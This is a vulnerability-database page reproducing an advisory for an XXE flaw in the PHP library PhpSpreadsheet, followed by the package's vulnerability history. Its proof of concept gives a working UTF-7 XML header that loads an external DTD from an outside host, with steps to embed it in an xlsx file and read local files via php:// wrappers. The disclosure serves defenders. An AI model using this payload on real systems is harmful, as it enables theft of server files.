Sign in
Deutsch English Español Polski
High

XXE in PHPSpreadsheet encoding is returned

  • Disclosed: 29.08.2024
  • Updated: 11.10.2026 10:22

Summary

Bypassing the filter allows a XXE-attack. Which is turn allows attacker to obtain contents of local files, even if error reporting muted by @ symbol. (LFI-attack)

Details

Check $pattern = '/encoding="(.*?)"/'; easy to bypass. Just use a single quote symbol '. So payload looks like this:

<?xml version="1.0" encoding='UTF-7' standalone="yes"?>
+ADw-!DOCTYPE xxe [+ADw-!ENTITY % xxe SYSTEM "http://example.com/file.dtd"> %xxe;]>

If you add this header to any XML file into xlsx-formatted file, such as sharedStrings.xml file, then xxe will execute.

PoC

  1. Create simple xlsx file
  2. Rename xlsx to zip
  3. Go to the zip and open the xl/sharedStrings.xml file in edit mode.
  4. Replace <?xml version="1.0" encoding="UTF-8" standalone="yes"?> to
<?xml version="1.0" encoding='UTF-7' standalone="yes"?>
+ADw-!DOCTYPE xxe [+ADw-!ENTITY % xxe SYSTEM "http://%webhook%/file.dtd"> %xxe;]>
  1. Save sharedStrings.xml file and rename zip back to xlsx.
  2. Use minimal php code that simply opens this xlsx file:
php
use PhpOffice\PhpSpreadsheet\IOFactory;
require __DIR__ . '/vendor/autoload.php';
$spreadsheet = IOFactory::load("file.xlsx");
  1. You will receive the request to your http://%webhook%/file.dtd
  2. Dont't forget that you can use php-wrappers into xxe, some php:// wrapper payload allows fetch local files.

Impact

Read local files lfi

Affected software

Click a technology to see all vulnerabilities affecting it.

PlatformPackageVulnerable versionsFixed in
Composer package phpoffice/phpexcel <= 1.8.2 no fix
Composer package phpoffice/phpspreadsheet < 1.29.1, >= 2.2.0, < 2.2.1, >= 2.0.0, < 2.1.1 1.29.1, 2.2.1, 2.1.1

References

CVSS score 8.8/10
CVSS vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
Weakness (CWE)
CWE-611
Platform
Composer
Package
phpoffice/phpexcel, phpoffice/phpspreadsheet
Disclosed
29.08.2024
Updated
11.10.2026 10:22

Sources and licenses

OSV / GitHub Advisory Database - GHSA-ghg6-32f9-2jp7 - CC BY 4.0

Vulnerability history: phpoffice/phpspreadsheet

All published vulnerabilities of this package (Composer package), newest first. Shows whether this is a one-off slip or a package that needs watching.

All (31) in the archive
Total entries
31
First → latest
11.2019 07.2026
Without a fix
0
Exploited in attacks
0

Severity breakdown

  • Critical 2
  • High 17
  • Medium 12

Disclosures per year

Severity:
  1. PHPSpreadsheet: XLS/OLE sector-chain self-loop causes memory exhaustion
    High · 7.5 CVE-2026-59933 >= 4.0.0, < 5.8.1, >= 3.3.0, < 3.10.7, >= 2.2.0, < 2.4.7, >= 2.0.0, < 2.1.18, < 1.30.6 5.8.1, 3.10.7, 2.4.7, 2.1.18, 1.30.6
  2. PHPSpreadsheet: Gnumeric reader unbounded gzip expansion causes memory exhaustion
    High · 7.5 CVE-2026-59932 >= 4.0.0, < 5.8.1, >= 3.3.0, < 3.10.7, >= 2.2.0, < 2.4.7, >= 2.0.0, < 2.1.18, < 1.30.6 5.8.1, 3.10.7, 2.4.7, 2.1.18, 1.30.6
  3. PHPSpreadsheet: SSRF bypass via HTTP redirect in WEBSERVICE() domain whitelist
    High · 7.7 CVE-2026-59931 >= 4.0.0, < 5.8.1, >= 3.3.0, < 3.10.7, >= 2.2.0, < 2.4.7, >= 2.0.0, < 2.1.18, < 1.30.6 5.8.1, 3.10.7, 2.4.7, 2.1.18, 1.30.6
  4. PHPSpreadsheet has a patch bypass for CVE-2026-34084
    Critical CVE-2026-45034 < 1.30.5 1.30.5
  5. PhpSpreadsheet has CPU Denial of Service via Unbounded Row Number in XLSX Row Dimensions
    High · 7.5 CVE-2026-40902 >= 4.0.0, < 5.7.0, >= 3.3.0, < 3.10.5, >= 2.2.0, < 2.4.5, >= 2.0.0, < 2.1.16, < 1.30.4 5.7.0, 3.10.5, 2.4.5, 2.1.16, 1.30.4
  6. PhpSpreadsheet has CPU Denial of Service via Unbounded Row Index in SpreadsheetML XML Reader
    High · 7.5 CVE-2026-40863 >= 4.0.0, < 5.7.0, >= 3.3.0, < 3.10.5, >= 2.2.0, < 2.4.5, >= 2.0.0, < 2.1.16, < 1.30.4 5.7.0, 3.10.5, 2.4.5, 2.1.16, 1.30.4
  7. PhpSpreadsheet has SSRF/RCE in IOFactory::load when $filename is user controlled
    Critical CVE-2026-34084 >= 4.0.0, < 5.6.0, >= 3.3.0, < 3.10.4, >= 2.2.0, < 2.4.4, >= 2.0.0, < 2.1.15, < 1.30.3 5.6.0, 3.10.4, 2.4.4, 2.1.15, 1.30.3
  8. PhpSpreadsheet vulnerable to SSRF when reading and displaying a processed HTML document in the browser
    High CVE-2025-54370 < 1.30.0, >= 2.0.0, < 2.1.12, >= 2.2.0, < 2.4.0, >= 3.0.0, < 3.10.0, >= 4.0.0, < 5.0.0 1.30.0, 2.1.12, 2.4.0, 3.10.0, 5.0.0
  9. PhpSpreadsheet allows unauthorized Reflected XSS in Currency.php file
    High · 7.1 CVE-2024-56409 >= 3.0.0, < 3.7.0, < 1.29.7, >= 2.0.0, < 2.1.6, >= 2.2.0, < 2.3.5 3.7.0, 1.29.7, 2.1.6, 2.3.5
  10. PhpSpreadsheet allows unauthorized Reflected XSS in the Accounting.php file
    High · 7.1 CVE-2024-56366 >= 3.0.0, < 3.7.0, < 1.29.7, >= 2.0.0, < 2.1.6, >= 2.2.0, < 2.3.5 3.7.0, 1.29.7, 2.1.6, 2.3.5
  11. PhpSpreadsheet allows unauthorized Reflected XSS in the constructor of the Downloader class
    High · 7.1 CVE-2024-56365 >= 3.0.0, < 3.7.0, < 1.29.7, >= 2.0.0, < 2.1.6, >= 2.2.0, < 2.3.5 3.7.0, 1.29.7, 2.1.6, 2.3.5
  12. PhpSpreadsheet allows unauthorized Reflected XSS in `Convert-Online.php` file
    High · 7.1 CVE-2024-56408 >= 3.0.0, < 3.7.0, < 1.29.7, >= 2.0.0, < 2.1.6, >= 2.2.0, < 2.3.5 3.7.0, 1.29.7, 2.1.6, 2.3.5
  13. XXE in PHPSpreadsheet's XLSX reader
    High · 7.5 CVE-2024-48917 < 1.29.4, >= 2.0.0, < 2.1.3, >= 2.2.0, < 2.3.2, >= 3.3.0, < 3.4.0 1.29.4, 2.1.3, 2.3.2, 3.4.0
  14. XmlScanner bypass leads to XXE
    High · 7.5 CVE-2024-47873 < 1.29.4, >= 2.0.0, < 2.1.3, >= 2.2.0, < 2.3.2, >= 3.3.0, < 3.4.0 1.29.4, 2.1.3, 2.3.2, 3.4.0
  15. PhpSpreadsheet allows absolute path traversal and Server-Side Request Forgery when opening XLSX file
    High · 7.7 CVE-2024-45290 >= 2.2.0, < 2.3.0, < 1.29.2, >= 2.0.0, < 2.1.1 2.3.0, 1.29.2, 2.1.1
  16. PHPSpreadsheet Library < 2.3.0 - XXE Injection
    High · 7.5 CVE-2024-45293 >= 2.2.0, < 2.3.0, < 1.29.1, >= 2.0.0, < 2.1.1 2.3.0, 1.29.1, 2.1.1
  17. XXE in PHPSpreadsheet encoding is returned this entry
    High · 8.8 CVE-2024-45048 < 1.29.1, >= 2.2.0, < 2.2.1, >= 2.0.0, < 2.1.1 1.29.1, 2.2.1, 2.1.1
  18. XXE in PHPSpreadsheet due to incomplete fix for previous encoding issue
    High · 8.8 CVE-2019-12331 < 1.8.0 1.8.0
  19. XXE in PHPSpreadsheet due to encoding issue
    High · 8.8 CVE-2018-19277 < 1.5.1 1.5.1

Know which vulnerabilities affect your application

With the DockRay integration and software inventory enabled, DockRay checks reported component versions against known vulnerabilities and notifies you about confirmed matches. Coverage depends on the supported technology and available advisory data.

Connect your application
DockRay newsletter

Application security in your inbox

Important vulnerabilities, actionable guidance and practical advice for your applications. Choose your technologies and follow what matters to your project.

  • A daily digest of new vulnerabilities, critical ones included.
  • Notifications about important updates.
  • Practical advice on application security and monitoring.

Leave empty to receive updates for every technology.

Privacy policy

Free to subscribe. Unsubscribe with one click in any email.